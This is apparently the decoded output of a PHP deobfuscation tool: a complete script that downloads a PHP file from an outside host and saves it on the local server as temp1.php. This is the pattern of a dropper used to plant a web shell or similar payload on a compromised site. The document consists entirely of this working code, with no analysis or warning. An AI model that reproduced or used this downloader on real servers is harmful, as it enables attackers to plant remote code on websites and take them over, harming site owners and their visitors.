PHP Decode

<?php 
echo httpcopy("http://www.yywjw.com/themes/weiyi/temp1.php"); 
 
function httpcopy($url, $file="", $timeout=60) { 
    $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file; 
    $dir = pathinfo($file,PATHINFO_DIRNAME); 
    !is_dir($dir) && @mkdir($dir,0755,true); 
    $url = str_replace(" ","%20",$url); 
 
    if(function_exists('curl_init')) { 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 
        $temp = curl_exec($ch); 
        if(@file_put_contents($file, $temp) && !curl_error($ch)) { 
            return $file; 
        } else { 
            return false; 
        } 
    } else { 
        $opts = array( 
            "http"=>array( 
            "method"=>"GET", 
            "header"=>"", 
            "timeout"=>$timeout) 
        ); 
        $context = stream_context_create($opts); 
        if(@copy($url, $file, $context)) { 
            //$http_response_header 
            return $file; 
        } else { 
            return false; 
        } 
    } 
} 
?>